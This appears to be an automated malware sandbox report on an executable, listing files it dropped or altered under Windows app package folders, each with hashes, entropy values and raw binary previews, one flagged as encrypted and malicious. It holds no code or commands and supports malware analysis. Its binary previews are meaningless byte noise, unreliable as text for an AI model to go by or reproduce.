Preview:	regf.`.%g.%.....B...J1....~S.cf)p.'.}....F.WUd$w..T.t>....+..ZQ.Qb.~S..;.MGL.k...IN..w/.....00......,.h..-.-.N..TK.....w...!..eJ.p.o'g...eL<.._..........[..+..QbT.[........ypJ.5..."..B2V.V.....".u.Q.%.....P..xX.Y.spw.^.R.....3.t....N...._.?..(A.Y....o..>..`y....<.7.4../.... .....>.....2...\|[l;..... .<3u3..Enp...V..XD.sn........\...T.b...?...........]?..lK...F.Z.l..e...;...op.%.......,...~1!.......<.E./.,$...HJZcH.l..B...fi...E.)x....:.C....6N3.....AAb%.7.pR. M..e.a.$8.+, ..w..?.3j...-../.{O...];..P...\|...T.....-....t.....'....pu..4D4..Zqr...BV.x.]...@B..<.!h.1.9..::......!.W.....U.V.R$s...{..8}2...!......=...........l.1.]...=..u.G}.}p.n.v#.......l.5L.YC0]t].jib%...W^....{..S.v.......\w.....j..>."..R,...Z..J....g.....1....W.D.f>.D.6...\..5.......{.._,.f..>>.N..b.L[.%6C.M...;.u!.-..v9yP....@...a..&.._.:x.#X..mC..6v.J+"D.Q.?...T....>..B.ag.so.(....)....^4v..E.....Z.R...a..P. ...^r_.4.>4.......=....BZ.v`...]...

C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979457625530795
Encrypted:	false
SSDEEP:	192:nwXWeRUzVL7g8+TZxUaC6lI8BwdG6Z9w/nMZoxR5Y5ygdRu3bKO4:n17R7g8HaC6j6w/nMsRqOWO4
MD5:	BD532140DDD01FE2723EFCA98DBBB814
SHA1:	A4EAEFBF485C3F289D1B476F23376E71033B5238
SHA-256:	9D96020D21C8CCC18F9013B44D512BD8DEFD02BDE2216A52C45E99FBC25ABF05
SHA-512:	6C132C1467287C6AE1B56AE98DC3FF7A8D141F633605440999DEBF3B02CEB2D3E8C7A52C3610706DE5D44BB3F28B93C34BAC312E04CF873808C8EB912C783633
Malicious:	false
Preview:	regf.+...Rk..>.c........:...Y...01..i...`v....5..{o(l..i7='............hrK,..-.b........\..y.......a..R].+.L.8N?`..i.c:).,o...r .0.2..%oy...6}..}.........P..(.T#}.t3.*..B...7...:..$c.....Xg....\|..k.A..a....@.o``...3m.'~z..+...2&M..J\|p..h..7...............f..$.^ia..ux......o..I..... ../....6..P.. w.6....._.W,.5..Y.........Yf]..s..)U(m.rd{v..}^...k....+.iB]..gQ.tl...1Q...<.-<F..V...+.".\.....Bq.....6..\|).q........}..6......mp..!......?.b..`...nx..o[Y-{....)^Up1Y[.N.\..}..........\|E.b..%h....a!................9....\;3.....0Q.&.]..)..........ZZv.Xy!..}.Y.......^./.........).!.J./...c..D.Xc...d.j..A5..Y.f1[.U...<.v.(.(....(...].....I...<.... ..\C.....8.6...Xb9.QG%7.......r.]....0#.8.Jo.7..t..H.Q.)L:.R.......ix...+=.1R.....5.F,....K....'T....Z.^...e..No...yYIrM'.5.K.:F.vT..2?NSX.p.Uob."Eu;T..;..@.......W.....\|DA....#-....'J.mpop.>....c[)WNx..n.........Z...W[..[.A./P-"......iU..xg..id....]..iI>......m.k6..+.N.h.W5?.j.2...03.]..J._o>..T.o..p.^..`$.Xu\.

C:\Users\user\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978446988115572
Encrypted:	false
SSDEEP:	192:rD4NhbU+tEOG6Hzd8aRIIVjBXMqM7hpUgfh1iwW4:chgaEwz68jM7jf9W4
MD5:	B3EC1F050969D327CCE01D81580E0F6F
SHA1:	40A5EEA42BB45A3A4A99AE8F89CDEF3D1094F201
SHA-256:	411334E0C6EC83A5B3BDFD828D3BFDC80BB70A6BFF156F157691C9301170ACF6
SHA-512:	8DEBD11DDCFDAEB4873C5B5BF4B1AFFE579F4C7BC3BDBD061C5E705DC5B7115144DE534392E806E3D1F8E2E458992D59D0B999B09971A87F66CC46ACA6456382
Malicious:	false
Preview:	regf.V..BJ...G.._.0.&..?2J.3aer.Y.^.._.4...Wx.4....ci8..Dm..uz.f=.48J......W...L....7q..v(.I.D$........{..1..;. ./k..=.&..(o...v...F...I..N{..k......u.'.v..I.h...z..~c........:.Zc5.kG../L2..P...2"..%...{].K2..V{...STT5..C.4......<....~.+.n.l0...m.o.v.........r.a..]G..F.h..Wt..Y.v.N._..L..E'..?..~.na..5J...76.d.._._..j.{..B.1.wx.20.6....OW.I.h...d<..$.....P.....q........<.3[.....a..^.3>qo.O....G....k ss.%...z.....B?=..[...=7../P./.}....B.B..>........@&.xf..6%....z?...u..H...0.....rQG.#....t..0.....@.t-.{......1......~...........r.).Q....v#.B4.k0.a].....<n....?Q....?..C.Jz.{f.M.}.s...K9.W.I.....G.(.M..k......SV..W....@...Io+c...4.b..y@.U.o(....5..l...`.M.[......n.........\|..........G.*.M..@.7..c.4..T.w....0LW....:.)..# ..$.....pI.+.....R.!.a.`.U.......%..D82..%...Y.KL.=A..7.R.......D.q.....H%q...P.f...@Xe...s..h...W.v.4.g........p.;L8z.....Lep/Hr..S.m.1.V...r..+a.m...D,p#.......,....;.a8....f...;.V.8.Jw.c.......k.w.QW./.s...3..M..

C:\Users\user\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980218694082996
Encrypted:	false
SSDEEP:	192:9Pu9S3ML+cIkZPt52H4GdcJ0zpJ0cwAV58VA13FA:9PR37cIkNt5Y4GdcJSJ0ewuq
MD5:	D4B82EFF1E51B97B824045696C6E2C3B
SHA1:	EC72BC25A53190594CDF57FD6F7214AC231E1EA3
SHA-256:	28DBE2A56BFF204551493A5D3B8C48F45697FB46937C69A16896BA7B84886922
SHA-512:	8E098942EC28F796FA669D9B8A743233AC082716435ABDAB64E0A26E336784281C5F0BB333EECD7DEFE54853DED0B1B4648F168138D90BA1D194D22922BA6BF0
Malicious:	false
Preview:	regf..E?.!.....p......9&."K.....7^.<..i...IPj.N.....?2%.........j.<.(.9.7......x.n.h.P..Jd.^....\|..(U....`W;).^..zm..,..A.!.....R3^t...Q..S...5....Nl..i.{.s.....&\G.../....e..>a.z../.zXq4.\.V...........[....=U.hR.6...N..g.;.=.c^..?..uG.....kU....c.@.A...o.........P@.\|..F....zYJ...M.(...Rwe.....V.6.!n.....6..9G.I.@?.1.k.D.RU.#`.M.v.R.B7......J~.^.WJ......M.....8....`"....$.....k...y..$....S..l....mm.../,...E94.A.m...B..c....O.nO3....m..'..9s...:8.......Z..O.MZ...!.V.\|7...F.b~Y.."..M.:.B.....0.xC~.4...$....^X........N.yaj.....d..0..).......Er:...(.h...=..%N.A.b.......X.0H.,5...."...Ddu.gAJW..l3......a..e..F`..)...CFo.....x...mXq....3...7..c.&..;..dn..B....k1...1.>... .dD.F..n.....y.Q4......\|X~..5...fE9.T....{...v....L&...Ais.:......../'@s.-".......N...Y.._.-'w..?"_ .%4..kCB=..".....$..>.U?4..%.[..V...y...+t..(......&.w..l.......R.~.&w...2..=.x...@j..."..^...j..w...}.2....~Y.C..tI....3Y....7TZ".......G..gI..:.dv.]......my..../...KrE.k.)

C:\Users\user\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980076054044688
Encrypted:	false
SSDEEP:	192:3ZrzTh8QcJrIuUP4JcTQIb6FWEjAR4eoljDCt4ZfdnFpeC:3ZrzThTcCubXIbMWfRHo1joC
MD5:	0BB192E062B64CC91C5754429C9D8909
SHA1:	58B1E2CE00D176262CC460A88D28F9B6F722AC09
SHA-256:	F27B955C572900B7F226201FA89A6A649A680DBAAE5D4214FD7EAFA35B602DFA
SHA-512:	F82F7BFB38E79DA45038B9BA3731A79AD3D0D4D0BE0272D693015BDAB824F6754080EF2E8973EB5869E4790F37DB5C0291C9BB018C4D408BA03E2A1646C9912D
Malicious:	false
Preview:	regf.D.[.4.V.lM.x.=-T)..%3v..pB...#.y.Cc.b.h,..:.F.(;L...Nqe.{...(=......Kj;6..l....ML....J...Q.IcK.D..#.a..\.n....6..[.3.....M.(v. ....{I..`QDYE...pH<d.....g.~..._I=De........s..O]V>.n..[.zC\q.x{...}s.0.Kl....n..`......9.....:Cd[.U....@....0'...8`yh..v.vV...x/,....8.`#;Jpt...hYQ"m..w.)..E.v.......,......&.'....A/.d...#.4..Wb.j.{...X..k.b=...qy..=...,...K!..{m.y........~.E.dS._..A>.......W.Jz..#~@h.. .bk...d.##R.".j$.5(......-..x.(.#...}....6.E..!..%.\p..Pp.S.A.n3......#.............H.A..N{x.6...:uA.......=...@......(.ip.y,Z.<...\|..x.1Yp..H..L.t.Y....d8.P.i...z]i.d...;{........ga..Q..?X..i[t.7...ev.\|F........d.%NJl.....:B.u(`.w.L......5.S.yRY.D.oR.a.....-.......K...M.Ad.a..E}<......(......#...u.....$t.6..~H..><.R.#w.i.+...[R...;.~......-m.z.G...wv.R........bF.z...&3.W...`4'.....Y..........;dIas.q.(i..I>."HU8V...,H.+..E.....S.=...7.Z`I.h%...P....[..bw._.4...4.d....j%...T-.K4...[r.t.....0.>k(..a?.....4...t\..M...8/i2P.

C:\Users\user\AppData\Local\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976017320754502
Encrypted:	false
SSDEEP:	192:xBBCAzPImR6lLVymVOFV5S6bAiJ5FqBuoBMM0g7d1c:Lsz46PymOvbbZJLsbvd1c
MD5:	CCA7881CA7EB9B18969028EC15C1363F
SHA1:	E2D00621F1A5589DC371B51DA6B7233B6527E99F
SHA-256:	2297CCA0217A39462B075C6A86B3FB6AD8FCAE6B61429AC6021518F79CD849F0
SHA-512:	39E97986D57C44C6F0CA68869E6741CB3ABC1865D05969AF6241CDE6492FD95A520F4D3438CC10FCFDA1DB534CD6965A0552131F74D51AA750A23961C6DF9B20
Malicious:	false
Preview:	regf..p..X.. .Y.%X...\|.$..J..=...B.6sa....FO..Z....X..7.....vs`K...5qC...;.V...AJ..G..........9,y..H.......8....g.s..@..x.\.{h.=..\|.I.A.\_.0.j...?........... ....6%\....<..V......?.s.3.....'..A\...i.s.b.....\|...N.....a_-.,M.$..Z.tf..l/.:f.d.....`.2. .s..)....-A..c.T8.e...S_G.d<Ud. ..]..\|....(6R...`.=.\Iyv..fd.I.z.\|.j...I....k.+o.......IY5.f.2.<....Sq.../j..R+..._....O..2..b}C\|..x"....G..&!$......0..u.Z...8..L....>[O..9..l..e.I./.u..V..,..C.C....Q.,..nj....D.U.#...g.8. Z..f/.Ij...{1...L...Lk.\|.@\8.m...8a[...W..p.F.....5.<.fY=kY..^...0.~............<...[%...s.......,z....nC.g..C..3u.GE.....g..0p..1.<".S.k...tG../\n.....,... k...h^&.e.B...e..nS..u..~..% .%........-.._le. .FQ.:X..X!...,.0.G....E..3.z..Z...m\y.J1....W3f.E....m+.>.A....n ....GT..Q..j\.$n.....!i..)<G~.!$.6...j..5... ...kH.b..s.h....1y1..>.K..V.t..!...dB....+...[z.h.S\|.R.Hd,r.......,..F.v+y....H......!y..4..H.n..7.....O..y.l.....7....d).F...gj(vD.......\..:/........P.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977846713322126
Encrypted:	false
SSDEEP:	192:VLW7sBoGGAoPtAKrANL8hRCvZUwlR0DR1WFzo:VExAoqKrbbCvCwlqDUo
MD5:	64A6AA873464FE13560DA7C5183CED12
SHA1:	D0D1A68E121C0E2942A04D8ECADBC8922E5C21A5
SHA-256:	088D0855E1492F5733315731016294F3F43B272FF02E5A6B660467142AE499B4
SHA-512:	73FCB39823568219FBA2A95C5AB38066FA76D12F9E92B1C660319ADFFDD13CF6CC6FDBE819FFE9F228BEDEE7FA619DB20B72485E17405DF813437226FBA333F9
Malicious:	false
Preview:	regf..z...GC.....+....)..4....V..Z.O3...7...S..#..C....O...'Ec...."....2..IBe......&.c..Z.M.....i..w....k..5..#X.&B=..jT1./.V..\F.t.ym........\|.l...WL..'.wE.-.x[.8...p..F.R.w..W.........#L..L.C....T:...\|....f.I..1.Yh.....c..3&.<....6......R..hr.&...."D...%.9.._#.......Q66.+..l}..J3.NQ3.X..'........:...eP./#....>...].<.y.jQ..v.D,......@uO.#l1hhX!.N....]j2#......,^/.S~..e\|....H...:..x.8[..I...wj.T..8.s...9DR.b..y^..7+.x....>... ..s.....#.X.a...Yo...x=... .......d%.oY4.....kO.X......~."5+........>.s-c....#.,q.U..M.._/...H.[.E..).c.z.k.X...'../!.....g.4F.c}h.X.s..r.\|..Y.......F...9..Lfy........0b$.....St.r..zk{.>\|...Km.T...t...v.h[P1..{RV...t..c......%h.4.ua:.n......4..A.!....n.:...\|T.dU`fbk..;;....Ff(8....L=...f..8..n.h........E...q..D.IX..;...v]...O$...J..%y.f-.6...v..T....!...`.(W.).n.%`.a%:Y...X....hq..K...h.S.\|...w.%..y.6i..d@.t).....m#.QM".2....h......\|h[..X.[x..4...\.d.....:WN.,.1(.C...*.^p.$...X....3s%Q.]"..w&..F..\...VP/....+...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977780482217351
Encrypted:	false
SSDEEP:	192:8uOmG29htkRAEzaKmPSmEqZQ/OrAzBj+kBeqALcma28PcT:gmAA7SzqS/l8k4D+28PS
MD5:	DEB4C1A2D62C391FD199DDD933DA47A6
SHA1:	2E6F97BC18293A8D6452036BFD076B37C86CE657
SHA-256:	FE81D17164650222125CEC46C7C699580D0777B9B9B85AEC7D3ED6AF89835CBE
SHA-512:	219B5CD917234448A72C2684102F1E5ABB2A875579ABF38577D606922792914C15C717B116E6472C47ECB660CAD96576C47205590008E8E82A7322A27C72817A
Malicious:	false
Preview:	regf.."T.e.}..D....I.7.D@.j.......e...5....+.e.W....M,.}2..Vy.A...V..f.~t...8.f.tC."p...k...;Q.:.%.z._..z..>.<o'..%+.8..&K.K.l3.m.?1..".B....O+d.o..O.kHq.D1p[..'nY.!.hG'..No.xa.3v.../N$.....iS......J..*..~x.S......jMx.4..l.X.a..#.h$).....lnB......]M.m.d... ).7..=..b~. .Pmf..^d.W..2j.H9M./'.......hr.k.b[h..P..,m.a...w^.j.R=..%.)s.D....#e..l:J8..E...h..K4p[6.@.-G.....E8.....u\b....U.......W.!K](o......2.....a."._.m.6..>..smw.%.Lc....U../._.fK..O.ZF..t:_6.LIc.d....y..\EH.WL1..M.....G..Z.u1J..}<D....o..E#..c.......o5.....j.y.....L.6..M.....W..9+.-...m.:...l..]./M9.-9....K.V^&=Id(..W..T..a[..F4.[...M..ZH{.f.G.L....P.o...a.#+....f.l;....7.2.!.....[........x...LM....a...ke.w^q.........f.a....&.a.K.E..1...+..43..d...+.o2}.V....W..........j...$...@.A.....b.K...n=.7c...`.mx..1.....WfD4........^.g.)8S....o.O@;...Q..y:..Z.......)..,..Lf...-...[M.+..]..?.X}E,.N....UE'....O..E.?P....d..E.......e.....F.d.....D.[.^_..[..m5.xH\|NU.%......7.0..b(1 ...I._....l...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	107523
Entropy (8bit):	7.997994708962001
Encrypted:	true
SSDEEP:	1536:NlomjCA3m51ny9eWOwls4AYamKmVfQ9a7CuPvkYlxtH30ukaKDsn8fdWLKSFtLDd:iA3m188wVflVdhHLz0s8WVFtnWaeU
MD5:	E6C0C81EBDE5E28C41DB57E93CE7D205
SHA1:	AC41A4BD14FC2553E1A3885421675C075FD42797
SHA-256:	EBAA8086E928FDB3F7D3E0428641F5BE8AD7EEE2235C87BBC2A3C991C118BB43
SHA-512:	9558F1DFC749CE037F1931D3201124C4CC630A6C34B88DE6A52CD377FEB1F4E8B0CCA1BA3AE23ECE1016A0098489C66C2E3F896390695C80EE90F5702309D521
Malicious:	true
Preview:	<!doc.f5..".f3...-..SKL...+Y..D.Ku..{.......tH.U.F..s..k=.........%.a.7..........\|....>WXr....Qq..H_.m.{...e..F.....jt..3r.[cY.1.Z.<.S..7.R.g.....%.=.]dbq".MGb...j.Y......2..]....n.S$..!..}.m....Q......Mj..o...Zy%.Lc.c.....0....t......(K...O.N;..J..b8Z.l`...&$2.. ....h\~..`..s.Y.0.....R.....5.#".........".o..y.b.1.....@nv35..D.;.2..cRTx..b....~.......Y.....k`..`a..uK.#N....R...G.F...~X..<......)p..7...&/.....u...u....6($.d.q@....y...f.Y...U.&.+..-.#......R..d.}...k +.q......'@...-[...Z.^P.........P.j...<'$.5w6....(....h...M(i...>..(`..m.yC..(.[a...GU.'i...`~.....x.w.'..;.+.9\..Oc.D.........+.._..:...7a.)......1..R....uS.....K...7...pj..%...iY.i]....E.=.Rz.7...b!.e...?....V..&......].}......r.;.nI...8<D...._y=.v......j._f8.....I...=...2..#.nU._.f.......4F.M.......z.....O.....<7v;.......0.C..VL...5....q>....u...uR0qw.2%....@rV`CW.\|\|4.-q.o.g.9.-u...Q..pQ5..r.5.....n..D.O*...;.D=J..XU.W.b...$r.e..-5.YJ..gwEJ.QK...Y>yl.R./Z..W....!l1i,..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976514679422786
Encrypted:	false
SSDEEP:	192:aQNXIdwUOZmItTahpSFuTEwy5LD0lEVQwBRfX72Jd8eAplIZy:aQN4zOYETaVT4khwBRfCJd8pplI0
MD5:	8E72126A6843DC46B9E23ED615E95B7D
SHA1:	A25A909101D389EABBB4C566DAE82C4E96D94594
SHA-256:	F312AF39547D7A1F26E909381001F1F80AB6151DAF16C24D24CFB0CCF00E821D
SHA-512:	C21E1A15B58CC25A1DDD9A78996B03820CEDC69C0962C001B19768542DFDC69D8E60A35B5FED9847EEDFE0FD9CCCC9230DE9180411C2ED2FED72516C0C14FA87
Malicious:	false
Preview:	regf...v.:.:.w..!.X.i...y..$...Q........5...pn...Z...!....K~....r...j..........u.../ e.4.....:\..=...`C.......17.Wu..e.9.~".vS.Gw..~8ZV#...)...."...V...3..t.....HX:c.0.TP7..X.....L....l.d.^..Q9..\..G.Q..H...H...#.....z.6.._(..k^M..;.%gy.:.?..y...........=.....(=....c..+.hHN....7.....:....U...m.....U..2 q..Z....3.4...Y..,....d..r..........#z..i2(.a...hh;.......p.~%..0c..NA.,.QN...t..../.mz..&#.u.......z.1...~Y_...P.I.j..Z.Q.(..C......].\........e. ....\|.D...G.uI.........!....Q.w....]v&.d....=V..c.G.#.ZN.).5......%..='...J...-...A\./.T,q...UZ/...d%g....#..m........Z..M..W.5.....o...i.X7.\|..{.\|......l....[.:i...-(...s..>..=Bn...V...".X..C.....].\|W.....]vV...y&44.V..s...../.....0..Gt;F..O....Cf%...Bx....p.F.d....mY.....UJo.b. ..,5.8..(.C....zs{......d....a8-.v.m%!......J.0..in<...EF.q....Z..Wf..#M......&>.......\.fP./'.]...i.N0>..U.a.m... ....#"..?.~..O..^...(.].G...4&..,../.Rv.2.O.....P.K..)F..f`.....Cs..y_

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97811163555121
Encrypted:	false
SSDEEP:	192:70Wq/MH9zS4qTM682TfdrQgZBZwKMBtbpk99Y7RDtPZsfj:IWq/MdzgTMNKfdxfQlk99Y75tPij
MD5:	1B7E3EC46C8DAEAAD79B597F0B7EDAB5
SHA1:	B8C7043D6BE4F4A608714213A16846929523C146
SHA-256:	7145B692863BF0C0FA60C8573A22AA2B64C64159554A30BFDAE19A10B17E20A8
SHA-512:	0F18523BA12AA916ED98537250975565F54621EC72477891C3947A2BF76864D1C1BCE134FA7C78B51C633781DE9CB3D9D7FA965FE4A0D25EBD8DE3CF6734A270
Malicious:	false
Preview:	regf...,....UB.hW.......?a......y...1c5..x.{c...a....uFk... '9..d+....eN..w ._A..............E...2.......~.7....N.......>),.wS..(b...o.Z....M..K...~..\lO.....:!jd....AQ.....:._.&J.D.B.pk......oS.IL......K..).N....``~f..A.<o.R..i^.Bq...xP..m 5.j..g....+5..K.Q.?..........T.v.....U.pDG&..Ce.Y....L..l.'...k...U...l.?O.tM"..........;.M.%H.$.iP}.K.O......0!...... .......8Z..1..n6..4 ....MN...E....i........H...,....cmW[..'..q..R....6&...<.........]......Sj!...\|..=....E..BF.X...8...q.....+.b7...t.B5.......U......c..O...BY..F?h..~..k.V.BK..C.Gw\Z.'..?..3J.n...V.+..!.^.I.D.e3.F...)....o1...tX~h.q.f.Nh._.Z..~..).A...MNb,.R..\..c.7.........a..1u.f$K..]........^.b..3y.%F!#x....;..KD..{1..5..[....m....4.I.......7If\|.r.....RX......d.....m6...z.....Q5...FpvP.c.\|.7."k9q..Cn.....E3...0A.A~B....Q...H..H=d.N..\._o..EHWI...p.s..fAw.h!...FpuTD....l+.......Q=.(.Q......&QC.Vl.......N.K.. .N.&..._...*....0.d.E....mG.g...[._...8t...s..."y.jh>x..H1.....,....I.3

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9761242918308275
Encrypted:	false
SSDEEP:	192:1u/Ly3q8QKKvmyXnERqVlhyoX+x17v4pODy:1E8eERaXAxZv45
MD5:	229F80EF6114D1E25962AB50F4B0416A
SHA1:	4380379D0FB6EB11CCF38FB76982FEA08F01C983
SHA-256:	F625C926DBFBAA4126C585BF214B04810DB64D5F677DD79AD520CEBC30F4223C
SHA-512:	135AAD6F4822499FE64B18CF4CF38244A30AFEA0B612344B6367740ABE26050D606B1B50AA9AC92085828EE78F48F7C068DFE20A3672504A71B7FB288C2D7C35
Malicious:	false
Preview:	regf.w.,.X..uX.!@...<m9.E.'.W2U..-."o.e..D.t,\..gI)..w..g.kk.7...+=h..qF..d$.x1C..D....\|-F.Ge.$.3S...E..c.a.C..4....kn..e{.&M..B..A....J_?T&...3..<.....Ong.d..bE2.d.....J.".y...f..+..2d...+;.........n.m@.. .zZ..B..99...BWM.fd.].l..ez..".{..\.y...F....I...h..W.`...~Q&<..l.c..i...sWhT.....;..(c.D.@6..R......?..VF. C..t..u..l..{..sW...............xu...).W.......z,f.[... @.r.CD..66.......9.:..>......t?....0Ibi.....NaR.U.....L.].#.5Z.%.z.............Q...Y.w.......8h%.\|.`......s....1%..3...7.7.....t..t.\,..p'Mq.l.y.U\1X..'n.gy.....Ci.1..T..O..<."..02.{..i..x....y\U...}H.Mt..:.....i.W..I.6!.k.]m.\9.(.......(....d9.@.....H.I...;...I=...M-..8....oN._l.)..;..{.mP.Pibz#m.y5...<.p,...@*..x..U.4R .+.auM..M..?.73.E.q..P...vR2B,..[.0NW..<....'V&+R.....H.[.h.....xs..../..G.......!...1.oGf.....%.I.........B.......W..r.vG.......J...........>}..8...-.U..0w?../.....%....k@..!..?..G...58.lf`.1.S.Z&..N..i.....m...>c.:..!.......n...Do@.Q.\|.{Y=.......M(..[.....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978109816022505
Encrypted:	false
SSDEEP:	192:JG2sdbD3Kc7PlbqP/UraIWQmOS+vV75tkgor:82+3KUOn2WQDV7vkrr
MD5:	547B9CD0B4EE96D207596BB7734A0500
SHA1:	1DF4F928B819C2DBE8FAF9E67AF5039A4297D42E
SHA-256:	7D6F943E75633727013D34A2219BDF6F898EC020BE1FFDDB2ECCBA2C5C6BF2AF
SHA-512:	934EA371C922316687C806441296E5166E9EF996EEA6755E6D98E0D29126C1B3912116F95C83A6765D54877C8E797E2C8233560AA97E172193AB49F71A9FFEE5
Malicious:	false
Preview:	regf....${p..u.\..!xV.....0..X`..<.Z....}wn...(.x..[3b..^P.U..K.....C90.....q.8.-.Pu_.`.o.....~..\|}.{......H!.3.y.q...]...7k...'.3....Os[...IF,rx..L..zR.......+.)....m..Y>........CaD...&U+,I...@.9Z.R... .6......,.@..6).@l.P..f..&.O..$.[..T.c.S}.....$DK...2._.3M.....m..k..u.nH...W........{...s.j.....n........)e....%..".....9p..6...........A..`.!.[:..n..=R..y.u.0.....}..5./K...Y.aE..R.....V.....V..@.P..>I.m.j..%.`./L.^S......a...yT;^.s..]..... Bf........#..(\|......Q".n......K-.M.t.:X&.?.....9..`n3E;...F.......n...Zt! .2- ...r...._...e.9/p.T/V..!....(....0!(>e1....y.....R.r.........{H.dn...\|r).Gr..@J.....)..i..0WqV...!w..0.F...g}0..O.G9..h...E.....,M8...L.ML..0$^-........`.6o..U$U.X..Y..0..lE...\..........r.....^FOZ.R.. ..d.......c$.9......{..V.*........?vV.#.?j{.>..f....:..Wq.M. ..I..y2.C.,..@.....K..<...W.........]y.<.S...wQ.v....D.S.,Sk.Y.c.&.".sDLD..[.>....L.MC.4.o..%noId.g.W..K.4.2.......Ffm{P`Us..k.t.<l..?N3q....f&e....#X@..L....j

C:\Users\user\AppData\Local\Packages\Microsoft.MixedReality.Portal_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979538613009272
Encrypted:	false
SSDEEP:	192:nVgoAb22Jg55uxzDOkVqP8HvFBJrzsI0CHhvV4gOfh:nepbNb/Ol+FTrYqHRV4g6
MD5:	4F7636B6FD776697369169A81ECF827D
SHA1:	97958DE4997BBAD9D7F284AE7B3A1A52B585107C
SHA-256:	046F995838C9BF4AEBA0001247A6A262941F55FE08A0D39102D83BBBEE1ABB8C
SHA-512:	0336106B2948D91EC7109E4E0D78564E33615333EDCD589BF7FE168B6DE60AD1D8E771D7D779EBA7B3656BEE116A1CA30ADA7C15DC6BE2E6F0BCBFA28958D753
Malicious:	false
Preview:	regf.8.+.c....<..M...\|.n.........j......."~.}..#;....^..../.?EC.,9......\|~.Z............m.l....^._...,X..:...z.4..~.......W.L..i..`.%.83...TI..\|S..{.LV..m.[..A.h.....!..D..g7..........U....s....aF.,.[^.H.0!..)4....n[..N..^g../....G..2.S':a.N.5\...S~.T.5S.CV...T.f."./.......e..Z.;nu.C..R.j........p\..A....fh.5.....6...4.2.m. 9.\..x].(e.....QY..6..}=..Y`. 